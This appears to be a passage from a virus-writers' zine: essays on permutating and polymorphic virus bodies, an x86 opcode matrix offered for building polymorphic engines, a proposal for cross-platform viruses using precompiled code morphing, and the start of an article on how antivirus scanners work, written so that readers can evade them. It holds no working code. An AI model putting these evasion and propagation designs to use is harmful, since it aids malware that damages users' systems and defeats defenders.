Easy to say, harder to code but why not to try it? A demonstration of this is for example Vyvojar's EMM3
(Explosion Mutation Machine 3).

Permutated virus code


We can't stop the way of polymorphism on encryptor level. Another level of polymorphism - permutated (we
can call it polymorphical, if you want) virus body itself. It is the easier degree of having whole virus in different
way every time. It was firstly demonstrated in Ender's TMC:Level_42 that we have also available in this issue
(or bugfixed version TMC:Level_6x9 - if you know Hitch Hiker's guide to the galaxy). TMC stands for Tini
Mutation Compiler, which is not a good name in fact - because it is a Mutation Linker instead. It is able to
place its own code fragments to different locations breaking them at instruction level, connecting these
fragments with original conditional jumps or generated jumps, and link all the jumps and memory references
to correct offsets.
We can define code permutating as changing memory position but keeping code-flow of virus code itself.
This is rather enought to cause big problems to scanners, as they have to catch all the samples. By choosing
any string avir might fail as virus can be breaked within a string and will not be detected. For doing this, virus
have to have its own code stored in some form capable for permuattion (that have linking information), or to
have some rules how to permutate already running code (and some way to keep linking information as well).

True polymorphics
Can virus body be really different for every instance at the instruction level? Well, nowadays there isn't any
virus doing this. However I think it is possible. Because there are many ways how to program same
subroutine (that even uses same algorythm) and can be completly different at binary and instruction level. It
is most probably needed to have some pre-compiled form that will be assembled each time, instead of using
its own code as an template (it might be possible, but even much harder to implement). These ideas are
more detaily written in Navrhar's article discussing this called ASM vs. HLL.
Guys forced me to publish a matrix which I used to create some predictive polymorhical encryption engine
(based on emm3 ideas). Because MGL's matrix published in our zine #1 was really poor I created a better
one, including 386+ opcodes of course.
However this matrix presented here is also quite obsolette, and I started to build up a new one some weeks
ago, but Katmai and Athlon specific opcodes overlaps a lot, so it tooks me more than a week to get rid of it
and after that I accidentaly deleted what was already done. And you can imagine - I was so angry so I didn't
started again :)

To use this matrix, you should at first install a true-type fonts (supplied) which I used in these excel sheets:
using control panel - fonts - file - install new fonts. And you can print it as big as you wish, and start marking
opcodes and groups you need to optimize your engine :) Good luck!

Flush

Download opcode matrix here


Opcodes x86
x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF
1)
0x ADD ADD ADD ADD ADD ADD PUSH POP OR OR OR OR OR OR PUSH table 1
r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im ES ES r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im CS

1x ADC ADC ADC ADC ADC ADC PUSH POP SBB SBB SBB SBB SBB SBB PUSH POP
r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im SS SS r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im DS DS

2x AND AND AND AND AND AND ES: DAA SUB SUB SUB SUB SUB SUB CS: DAS
r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix

3x XOR XOR XOR XOR XOR XOR SS: AAA CMP CMP CMP CMP CMP CMP DS: AAS
r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix

4x INC INC INC INC INC INC INC INC DEC DEC DEC DEC DEC DEC DEC DEC
AX CX DX BX SP BP SI DI AX CX DX BX SP BP SI DI

5x PUSH PUSH PUSH PUSH PUSH PUSH PUSH POP POP POP POP POP POP POP POP POP
AX CX DX BX SP BP SI DI AX CX DX BX SP BP SI DI
186+ 186+ 186+ P286+ 386+ 386+ 386+ 386+ 186+ 186+ 186+ 186+ 186+ 186+ 186+ 186+

6x PUSHA POPA BOUND ARPL FS: GS: ofs 16/32 oper 16/32 PUSH IMUL PUSH IMUL INSB INS OUTSB OUTS
PUSHAD POPAD r, m r, m prefix prefix prefix prefix im r, i, m im8 r, i8, m

7x JO JNO JC JNC JZ JNZ JA JNA JS JNS JP JNP JL JNL JG JNG


rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8
table 2.5 table 2.6
8x table 2.1 table 2.2 table 2.3 table 2.4 TEST TEST XCHG XCHG MOV MOV MOV MOV MOV LEA MOV table 2.7
r8/m8, im8 r/m, im r8/m8, sim8 r/m, sim8 r/m, r8 r/m, r r/m, r8 r/m, r r/m, r8 r/m, r r8, r/m r, r/m r/m, seg r, m seg, r/m m

9x NOP XCHG XCHG XCHG XCHG XCHG XCHG XCHG CBW CWD CALL far WAIT PUSHF POPF SAHF LAHF
xchg ax, ax AX, CX AX, DX AX, BX AX, SP AX, BP AX, SI AX, DI CWDE CDQ adr PUSHFD POPFD

Ax MOV MOV MOV MOV MOVSB MOVS CMPSB CMPS TEST TEST STOSB STOS LODSB LODS SCASB SCAS
AL, [adr] AX, [adr] [adr], AL [adr], AX AL, im8 AX, im

Bx MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV
AL, im8 CL, im8 DL, im8 BL, im8 AH, im8 CH, im8 DH, im8 BH, im8 AX, im CX, im DX, im BX, im SP, im BP, im SI, im DI, im
M M table 2.10 table 2.11 186+ 186+

Cx table 2.8 table 2.9 RETN RETN LES LDS MOV MOV ENTER LEAVE RETF RETF INT 3 INT INTO IRET
r/m, im8 r/m, im8 im8 r, m r, m m, im8 m, im im, im8 imm im8
! 2) ! 2) 286+ x87 x87 x87 x87 x87 x87 x87 x87

Dx table 2.12 table 2.13 table 2.14 table 2.14 AAM AAD SETALC XLAT ESC0 ESC1 ESC2 ESC3 ESC4 ESC5 ESC6 ESC7
r8/m8, 1 r/m, 1 r8/m8, CL r/m, CL im8 im8 m32/fr m32/fr m32/(r8?) m32/(r?) m64/fr m64/fr m16/fr m16/(r?)

Ex LOOPNZ LOOPZ LOOP JCXZ IN IN OUT OUT CALL near JMP near JMP far JMP short IN IN OUT OUT
rel8 rel8 rel8 rel8 JECXZ AL, im8 AX, im8 im8, AL im8, AX adr adr adr rel8 AL, DX AX, DX DX, AL DX, AX
table 3.1

Fx LOCK … REPNZ REP HLT CMC table 2.16 table 2.17 CLC STC CLI STI CLD STD table 2.18 table 2.19
prefix prefix prefix m8, (im8) m, (im) m8 m

USED Symbols:
im, im8 - Immediate number, in current operand size 16/32, or 8 bit
sim, sim8 - Signed immediate number 16/32, 8 bit
r/m - Register or memory see R/M microcode table
r, r8 - Register see Register microcode table
m, m8 - Memory mode
[adr] - Fixed address location (imm)
rel8 - Relative address (sim8, based from next instruction)
adr - Fixed address (imm)
seg - Segment register
1) - 8088 POP CS:
2) - Documented only with im8 = 0Ah, on NEC only this variant is implemented
A - AX variant is not used by compilers (shorter form is available too)
! - Undocumented instruction / not used by compilers
M - Operand is actually r/m type, but is invalid with R variant

Instruction legality / note / warning A! 2) 386+ CPU limitation


INSTR Instruction mnemonic
im8 prefix
Operand list with its size JCXZ Optional instruction modification, usualy with 66-prefix (not mentioned in string instructions)

Is a prefix, not a instruction


Register microcode table (reg)
0 1 2 3 4 5 6 7
8 bit AL CL DL BL AH CH DH BH

16/32 bit (E)AX (E)CX (E)DX (E)BX (E)BP (E)SP (E)SI (E)DI

segments ES CS SS DS FS GS - -

Postbyte SIB
XXxx xxxx xxXX Xxxx xxxx xXXX XXxx xxxx xxXX Xxxx xxxx xXXX
reg OR
mod instructi r/m scale index base
on

16-bit adressing modes (mod, r/m)


0 1 2 3 4 5 6 7
0 [BX+SI] [BX+DI] [BP+SI] [BP+DI] [SI] [DI] [im] [BX]

1 [BX+SI+sim8]
[BX+DI+sim8]
[BP+SI+sim8]
[BP+DI+sim8] [SI+sim8] [DI+sim8] [BP+sim8] [BX+sim8]

2 [BX+SI+im] [BX+DI+im] [BP+SI+im] [BP+DI+im] [SI+im] [DI+im] [BP+im] [BX+im]

3 AL/AX CL/CX DL/DX BL/BX AH/BP CH/SP DH/SI BH/DI

32-bit adressing modes (mod, r/m)


0 1 2 3 4 5 6 7
0 [EAX] [ECX] [EDX] [EBX] [SIB] [im] [ESI] [EDI]

1 [EAX+sim8] [ECX+sim8] [EDX+sim8] [EBX+sim8] [SIB+sim8] [EBP+sim8] [ESI+sim8] [EDI+sim8]

2 [EAX+im] [ECX+im] [EDX+im] [EBX+im] [SIB+im] [EBP+im] [ESI+im] [EDI+im]

3 AL/EAX CL/ECX DL/EDX BL/EBX AH/EBP CH/ESP DH/ESI BH/EDI

SIB base
MOD of
postbyte 0 1 2 3 4 5 6 7
0 +EAX +ECX +EDX +EBX +ESP +im +ESI +EDI

1 +EAX +ECX +EDX +EBX +ESP +EBP+im8 +ESI +EDI

2 +EAX +ECX +EDX +EBX +ESP +EBP+im +ESI +EDI

Note: If MOD of postbyte is 11, SIB is not present at all!

SIB index
0 1 2 3 4 5 6 7
[EAX] [ECX] [EDX] [EBX] - [EBP] [ESI] [EDI]

SIB scale
0 1 2 3
index index * 2 index * 4 index * 8
Exdended "0F" Opcodes
x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF
286+ 286+ 286+ 286+ ! 286 ! 286 286+ table 3.2 ! 486 ! 486 P6+

0x table 2.20 table 2.21 LAR LSL LOADALL LOADALL CLTS … INVD WBINVD - UD2 - - - -
r/m r/m r, m/m r, r/m alternative

table 3.3 table 3.4 table 3.5 table 3.6 NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+

1x … … … … SET1 SET1 NOT1 NOT1 TEST1 TEST1 CLEAR1 CLEAR1 SET1 SET1 NOT1 NOT1
r8/m8, CL r/m, CL r8/m8, CL r/m, CL r/m, im8 r/m, im r/m, im8 r/m, im r/m, im8 r/m, im r/m, im8 r/m, im
table 3.7 386+ 386+ table 3.8 386+ 386+ 386, 486 table 3.9
386, 486 NEC V20+ NEC V20+

2x MOV MOV MOV MOV MOV - MOV - ROL4 - ROR4 - - - - -


r32, CRn r32, DRn CRn, r32 DRn, r32 r32, TRn TRn, r32 r8/m8 m8
SLC, P5+ table 3.10 P5+ SLC, P5+ table 3.11 P6+

3x WRMSR RDTSC RDMSR RDMPC - - - - - - - - - - - -


r8, r8 r8, r8
P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+

4x CMOVO CMOVNO CMOVC CMOVNC CMOVZ CMOVNZ CMOVA CMOVNA CMOVS CMOVNS CMOVP CMOVNP CMOVL CMOVNL CMOVG CMOVNG
r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m

5x - - - - - - - - - - - - - - - -

MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX

6x PUNPCKLBW PUNPCKLWD PUNPCKLDQ PACKSSWB PCMPGTB PCMPGTW PCMPGTD PACKUSWB PUNPCKHBW PUNPCKHWD PUNPCKHDQ PACKSSDW - - MOVD MOVQ
mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, r/m32 mm, mm/m64
MMX MMX MMX MMX MMX MMX MMX 486 486 486 486 486 486 table 3.12 MMX MMX

7x - table 2.22 table 2.23 table 2.24 PCMPEQB PCMPEQW PCMPEQD EMSS SVDC RSDC table 2.25 table 2.26 table 2.27 table 2.28 MOVD MOVQ
mm, im8 mm, im8 mm, im8 mm, mm/m64 mm, mm/m64 mm, mm/m64 m80, sreg sreg, m80 m80 m80 m80 m80 r/m32, mm mm/m64, mm
386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+

8x JO JNO JC JNC JZ JNZ JA JNA JS JNS JP JNP JL JNL JG JNG


rel rel rel rel rel rel rel rel rel rel rel rel rel rel rel rel
386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+

9x SETO SETNO SETC SETNC SETZ SETNZ SETA SETNA SETS SETNS SETP SETNP SETL SETNL SETG SETNG
r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m
386+ 386+ SL, P5+ 386+ 386+ 386+ table 3.13
486 B0- table 3.14
486 B0- 386+ 386+ 486+ 386+ 386+ 386+ 386+

Ax PUSH POP CPUID BT SHLD SHLD CMPXCHG CMPXCHG PUSH POP RSM BTS SHRD SHRD - IMUL
FS FS r/m, r r/m, r, im8 r/m, r, CL r/m, r8 r/m, r GS GS r/m, r r/m, r, im8 r/m, r, CL r, r/m
486+ B1+ step 486+ B1+ step M 386+ 386+ M 386+ M 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+

Bx CMPXCHG CMPXCHG LSS BTR LFS LGS MOVZX MOVZX - - table 2.29 BTC BSF BSR MOVSX MOVSX
r/m, r8 r/m, r r, m r/m, r r, m r, m r, r8/m8 r, r16/m16 m, im8 r/m, r r/m, r r/m, r r, r8/m8 r, r16/m16
486+ 486+ P5+ 486+ 486+ 486+ 486+ 486+ 486+ 486+ 486+

Cx XADD XADD - - - - - table 2.30 BSWAP BSWAP BSWAP BSWAP BSWAP BSWAP BSWAP BSWAP
r/m, r8 r/m, r m64 AX CX DX BX BP SP SI DI
MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX

Dx - PSRLW PSRLD PSRLQ - PMULLW - - PSUBUSB PSUBUSW - PAND PADDUSB PADDUSW - PANDN
mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64
NEC V33/V53 MMX MMX MMX MMX MMX MMX MMX MMX MMX

Ex BRKXA PSRAW PSRAD - - PMULHW - - PSUBSB PSUBSW - POR PADDSB PADDSW - PXOR
im8 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64
NEC V33/V53 MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX table 3.15

Fx RETXA PSLLW PSLLD PSLLQ - PMADDWD - - PSUBB PSUBW PSUBD - PADDB PADDW PADDD …
im8 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64

USED Symbols:
im, im8 - Immediate number, in current operand size 16/32, or 8 bit
sim, sim8 - Signed immediate number 16/32, 8 bit
r/m - Register or memory see R/M microcode table
mm - MMX register
r, r8 - Register see Register microcode table
m, m8 - Memory mode
[adr] - Fixed address location (imm)
rel8 - Relative address (sim8, based from next instruction)
rel - Relative address (sim16/32, based from next instruction)
adr - Fixed address (imm)
seg - Segment register
! - Undocumented instruction / not used by compilers
M - Operand is actually r/m type, but is invalid with R variant
Table 2 - extended opcodes
00 000 08 001 10 010 18 011 20 100 28 101 30 110 38 111
A A A A A A A A
80 ADD OR ADC SBB AND SUB XOR CMP
table 2.1 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8
A A A A A A A A
81 ADD OR ADC SBB AND SUB XOR CMP
table 2.2 r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im
A! A! ??? A ! A! A! ??? A ! A! ??? A !

82 ADD OR ADC SBB AND SUB XOR CMP


table 2.3 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8
A A 386+ A A A 386+ A A 386+ A

83 ADD OR ADC SBB AND SUB XOR CMP


table 2.4 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8
386+ 386+

8C MOV MOV MOV MOV MOV MOV - -


table 2.5 r/m, ES r/m, CS r/m, SS r/m, DS r/m, FS r/m, GS
! 8088 386+ 386+

8E MOV MOV MOV MOV MOV MOV - -


table 2.6 ES, r/m CS, r/m SS, r/m DS, r/m FS, r/m GS, r/m
R R! R! R! R! R! R! R!
8F POP POP POP POP POP POP POP POP
table 2.7 r/m r/m r/m r/m r/m r/m r/m r/m
186+ 186+ 186+ 186+ 186+ 186+ ! 186+ 186+

C0 ROL ROR RCL RCR SHL SHR SAL SAR


table 2.8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8
186+ 186+ 186+ 186+ 186+ 186+ ! 186+ 186+

C1 ROL ROR RCL RCR SHL SHR SAL SAR


table 2.9 r/m, im8 r/m, im8 r/m, im8 r/m, im8 r/m, im8 r/m, im8 r/m, im8 r/m, im8
R R! R! R! R! R! R! R!
C6 MOV MOV MOV MOV MOV MOV MOV MOV
table 2.10 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8
R R! R! R! R! R! R! R!
C7 MOV MOV MOV MOV MOV MOV MOV MOV
table 2.11 r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im
!
D0 ROL ROR RCL RCR SHL SHR SAL SAR
table 2.12 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1
!
D1 ROL ROR RCL RCR SHL SHR SAL SAR
table 2.13 r/m, 1 r/m, 1 r/m, 1 r/m, 1 r/m, 1 r/m, 1 r/m, 1 r/m, 1
!
D2 ROL ROR RCL RCR SHL SHR SAL SAR
table 2.14 r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL
!
D3 ROL ROR RCL RCR SHL SHR SAL SAR
table 2.15 r/m, CL r/m, CL r/m, CL r/m, CL r/m, CL r/m, CL r/m, CL r/m, CL

F6 TEST - NOT NEG MUL IMUL DIV IDIV


table 2.16 r8/m8, im8 r8/m8 r8/m8 r8/m8 r8/m8 r8/m8 r8/m8

F7 TEST - NOT NEG MUL IMUL DIV IDIV


table 2.17 r/m, im r/m r/m r/m r/m r/m r/m
R R
FE INC DEC - - - - - -
table 2.18 r8/m8 r8/m8
R R M M R
FF INC DEC CALL near CALL far JMP near JMP far PUSH -
table 2.19 r/m r/m r/m m r/m m r/m
286+ 286+ 286+ 286+ 286+ 286+

0F 00 SLDT STR LLDT LTR VERR VERW - -


table 2.20 r/m r/m r/m r/m r/m r/m
M 286+ M 286+ M 286+ M 286+ 286+ 286+ M 486

0F 01 SGDT SIDT LGDT LIDT SMSW - LMSW INVLPG


table 2.21 r/m r/m r/m r/m r/m r/m r/m
MMX MMX MMX

0F 71 - PSRLW - - PSRAW - PSLLW -


table 2.22 mm, im8 mm, im8 mm, im8
MMX MMX MMX

0F 72 - PSRLD - - PSRAD - PSLLD -


table 2.23 mm, im8 mm, im8 mm, im8
MMX MMX

0F 73 - PSRLQ - - - - PSLLQ -
table 2.24 mm, im8 mm, im8
M 486

0F 7A SVLDT - - - - - - -
table 2.25 m80
M 486

0F 7B RSLDT - - - - - - -
table 2.26 m80
M 486

0F 7C SVTS - - - - - - -
table 2.27 m80
M 486

0F 7D RSTS - - - - - - -
table 2.28 m80
386+ 386+ 386+ 386+

0F BA - - - - BT BTS BTR BTC


table 2.29 r/m, im8 r/m, im8 r/m, im8 r/m, im8
P5+

0F C7 - CMPXCHG8B - - - - - -
table 2.30 m64

USED Symbols:
im, im8 - Immediate number, in current operand size 16/32, or 8 bit
sim, sim8 - Signed immediate number 16/32, 8 bit
r/m - Register or memory see R/M microcode table
mm - MMX register
r, r8 - Register see Register microcode table
m, m8 - Memory mode
[adr] - Fixed address location (imm)
rel8 - Relative address (sim8, based from next instruction)
adr - Fixed address (imm)
seg - Segment register
A - AX variant is not used by compilers (shorter form is available too)
! - Undocumented instruction / not used by compilers
R - A shorter form of instruction exits for register as an operand
M - Operand is actually r/m type, but is invalid with R variant
Table 3 - CPU-depended instructions
NEC IBM INTEL INTEL INTEL INTEL CYRIX CYRIX CYRIX AMD AMD AMD AMD
V20+ 486SLC2 386 486 P5 P6 486 5x86 6x86 386SX/DX 486 K5 K6
V25/V35

F1 BRKS ICEBP - - - - SMI? SMI? SMI? SMI SMI ? ?


table 3.1 im8

0F 07 - ICERET LOADALL LOADALL - - ? ? ? RES3 RES4 ? ?


table 3.2

0F 10 TEST1 UMOV ? ? - - UMOV UMOV UMOV UMOV UMOV ? ?


table 3.3 r8/m8, CL r/m, r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8

0F 11 TEST1 UMOV ? ? - - UMOV UMOV UMOV UMOV UMOV ? ?


table 3.4 r/m, CL r/m, r r/m, r r/m, r r/m, r r/m, r r/m, r

0F 12 CLEAR1 UMOV ? ? - - UMOV UMOV UMOV UMOV UMOV ? ?


table 3.5 r8/m8, CL r8, r/m r8, r/m r8, r/m r8, r/m r8, r/m r8, r/m

0F 13 CLEAR1 UMOV ? ? - - UMOV UMOV UMOV UMOV UMOV ? ?


table 3.6 r/m, CL r, r/m r, r/m r, r/m r, r/m r, r/m r, r/m

0F 20 ADD4S MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV
table 3.7 r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn

0F 22 SUB4S MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV
table 3.8 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32

0F 28 ROL4 MOV MOV MOV - - MOV MOV ? MOV MOV MOV ?


table 3.9 r8/m8 TRn, r32 TRn, r32 TRn, r32 TRn, r32 TRn, r32 TRn, r32 TRn, r32 TRn, r32

0F 31 INS - - - RDTSC RDTSC - - - - - RDTSC ?


table 3.10 r8, r8 r8, r8 r8, r8 r8, r8

0F 33 EXT - - - - RDMPC - - - - - - -
table 3.11 r8, r8
MMX MMX MMX

0F 33 - SMINT - - MOVD MOVD SMINT - - - - - MOVD


table 3.12 r/m32, mm r/m32, mm r/m32, mm

0F A6 - CMPXCHG XBTS CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG XBTS CMPXCHG CMPXCHG CMPXCHG
table 3.13 r/m, r8 r, r/m, EAX, r/m,
CL r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8 r, r/m, EAX, r/m,
CL r8 r/m, r8 r/m, r8

0F A7 - CMPXCHG IBTS CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG IBTS CMPXCHG CMPXCHG CMPXCHG
table 3.14 r/m, r r, r/m, EAX, r/m,
CL r r/m, r r/m, r r/m, r r/m, r r/m, r r, r/m, EAX, r/m,
CL r r/m, r r/m, r

0F FF BRKEM - - - - - - - OIO - - UD UD?


table 3.15 im8

USED Symbols:
im, im8 - Immediate number, in current operand size 16/32, or 8 bit
sim, sim8 - Signed immediate number 16/32, 8 bit
r/m - Register or memory see R/M microcode table
r, r8 - Register see Register microcode table
m, m8 - Memory mode
[adr] - Fixed address location (imm)
rel8 - Relative address (sim8, based from next instruction)
adr - Fixed address (imm)
seg - Segment register
Introduction
If we can handle such a complexe target as PE files are we are facing the sad fact we can infect files on the
Intel platform but we can never get outside this platform. Rare exception from this axiom is virus Esperanto
(by Mr. Sandman published in 29A Nr. 2) which is the first of its kind, capable of speading on various
platforms and processors. Glory goes to Mr. Sandman but unfortunately, this approach cannot be used for
larger projects. Whole Esperanto's solution is based on presence of two parts - one for intel processors, the
other for Macs, practically doubling the size of necessary code. It doesn't seem to be the ideal solution, let's
image the 50 kB viral code for three processors and we well land somewhere around 150 kb maxivirus.

Idea
I would solve this problem using another approach. My approach would be more difficult (but not impossible)
to code. I state here i am not ready to participate on such a project (no time and morale left). I would like to
find some newbies or people ready to work hard. Idea is quite simple - we should carry the body in some
kind of pre-compiled state, which should be easy translated to assembly language of every single target
processor.

Imagine, we have C compilator, which produces output at the level between C and assembly languages.
Between C and assembly means, that before code is assembled it has to be compiled by special C compiler.
In fact code should be at the lowest level, it could be, because we need to assemble it for various
architectures. Because of this code should be register and memory addressing mode independent. The one
model i like the best is stack machine (uses RPL - reverse polish logic) with direct memory adressing mode
(only value on top of the stack is a memory address). Of course, this means compiled "code" will be larger
than regular intel code.

Resulting code for some processor could gain quite high variability this way (by every single translation could
be another instructions or registers used). Also in the case resulting code will be close enough to code
produced by C compilers - some standart stack frame, analogical using of stack, registers, variables and so
on - this would be very hard to differenciate by heuristics without any further analysis. And it will be even
harder (if not impossible) to distinguish between variants. This would make problem of use complicated (and
unemulationable) polymorphic routines, decryptors and such a things redundant. The only one condition to
be not a simple target is to have the "source" (which is by its nature more or less static) encoded and decode
it only if need to replicate.

Of course, precompiled "source code" has to contain "assembler" for all supported processors. Assembler -
as a heart of body - gives a virus it's variability and complexness, so detection is as hard as good is
assembler. That's reason why virii can be very long. It will be not enough just 5kB like for a classic poly
routines. That is reason why (probably) wouldn't be such a viruses spreaded by mailing. But besides of this
code will be very similar to standart languages. You needn't to deal with infecting file in general, you can link
your data area wherever you need so you need not to use writeable sections for code - what is in my opinion
the strongest heuristic flag.
Real time compiling
Anoter posibility is compile code at run-time - you needn't to have whole code compiled in host file. You can
compile it at time you need it. This may at least reduce a size the file is increased of. I am not sure if this is
safe enough in order not to be visible but i think compilation is complex enough to slow emulation down, and
may be makes scanning-speed unacceptable, so avers will have to find out new ways of detecting.

Code morphing
Another advantage is the BIG possibility of some modifications to the pre-compiled code. Because you
exactly know what your code means and what kind of modifications can be performed on it. Because new
one inherits it's code by parent, in 10 generations there can be a very big difference between existing
variants. Just imagine block permutations (modules or just functions) and minor changes in code like c=a+b -
> c=b+a. I think it is good enough to totaly change the look of virii from parent to child and not speaking even
about differences between distant variants. And there are possible a bit more complex changes - of course it
depends on source language and you.

Disadvantages - size
As i see it, main disadvantage is size. Because of a bit difficult technologies necessary to implement i don't
even hope that resulting code will be smaller than 50kB, what is imho a bit problem in these days. At first you
can't use mailing strategy to spread itself. It tooks some time to download 150kB of mails :-(. I heard that
300kB is nothing, and there are really coming medias with 100MBs throughput, but main limiting factor is
floppy disk/internet and we still live in world, where 3kB/s is a high speed (33k6 modems are quite usual for
use of internet from home).

There can be some problems on the interference level (level, where host file and virus are directly
connected). We are not far enough to say it can be whole handled by compiler or in needs special handling
with PE+platform dependend code. But it should not be a big problem.

And now some sci-fi:


Probably the first reason we start with all this stuff was to try how will genetics work in vx. And this gives you
much better control over code modularision and generation of code. Our first idea was to create virii able to
exchange modules with other one in order to optimize itself and adapt to current environment. This gives you
much better probability to survive, but need to create environment with strong exchange of genes - what is
difficult. And now to real world ...

Closing
And now some closing words. Main advantage of the pre-compiled code is possibility to cross-plastform
infection. Besides this this approach opens another horizonts at least at the level of today poly engines and
in the eternal 'game of hiding body' goes more to the direction of giving the virus body 'right color' than
building 'bullet-proof' walls of anti code. This leads in no way to the lower variability of the code. Having this
features this concept leads to the viruses which are TMC-like.

Another plus is the programming in HLL is more comfortable and faster, read more effective, not speaking of
the base address independency :-).

Think about it !
One can give a simplest answer: "Know your enemy!". However it is not so simple. Well, I have taken control
on one of our big tours aimed to antiviruses, so I have to answer. Who else can?
How you can write an virus without understanding antiviruses? With a very poor effeciency. The bad but
common atribute of virus writers is that they do not know, how does avirs works. Most of writers call
themselfs researchers, but in many cases they are not researching anything. Just writing some virii simmilar
one to another. Think a bit - it slightly simplyfies work for antivirus guys. They have no aditional effort to cover
new viruses. It is, in other words, schematic. New viruses can be covered within a minutes (or even seconds!
depends how wise they are and tools they wrote to do so) - it of course depends when they will do it and it
may takes them up to days or month(s) if they are overloaded with new samples. But no extra work to catch
all the samples in In-the-Wild set and get Virus Bulletin's 100% award. And i think you will not be happy to
be caught so easily.

This tour is oriented to explain you how antiviruses works, lists basic principles and theory of scanning (and
cleaning as well) methods, partially appoint how some best antiviruses works (and some our comments to
they hit-rates). We will also try to put some valid tests we made on real samples to show you this theories.
We are not going you to tell exact methods how to fool each antivirus, but to show you what way you must
think, and how to find newer and newer methods how to fool them. As if we list ten methods for example, if
all of them will be used there is no other method available. Of course, we will try to show some basic
directions, but you have to think! As writing virii is not for lamers. Not any more. Only best can survive. Think
as it is YOU, for a while.

Virus is as good as long it can survive. Some virus writers are writing their work for "research reasons" just
putting it into some collections, spreading between avers, but no more. Well, one may guess it is ethical. At
first I have to say - the most unethical thing associated with viruses is destruction. Never do that. You don't
have any reasons to do so. The else what left - is the virii principle itself - to spread and be spreaded. There
is nothing inbetween.
I can illustrate it on Uruguay virus family. Don't you know 'em? They are pretty known: originally, whole family
(as far as I know the latest is number 11) was written as some research virus to illustrate technologies.
Polymorphic technologies, of course. Their author, named Brueiurere didn't (as far as it is known) supposed
them for real spreading - only for avers and to complicate their life a bit. Samples were available for av-
researchers, later on only for some selected avers - they obtain samples with important note not to spread
them. As the avers a biggest virus-exchangers in the world soon most of them has those samples. Someone
of them even put uruguay#6 into real enviroment and this virus (only avers had it!) was detected in the wild.
This is classical example that also avers can spread viruses - even if they are saying they are a good guys.
But world is never black and white. Later on, uruguay's author was producing some newer versions: up
version #8 almost every aver have. Version #10 and #11 were given only to two peoples in the world Ilja
Gulfakov (dr.web) and xaefer (avp?). Are uruguays ethical? I don't think so - they are same viruses as other
ones, but it complicates life to avers and they don't want to spread them as they can hardly detect them.

I return back to the original idea - how long virus can survive. Sooner or later any virus can be detected (and
removed as well) unless we can change the current virii principle - but it is a another long discussion. For
avers easily detectable virus that fits to their scanning schemes makes no problem to detect and remove if it
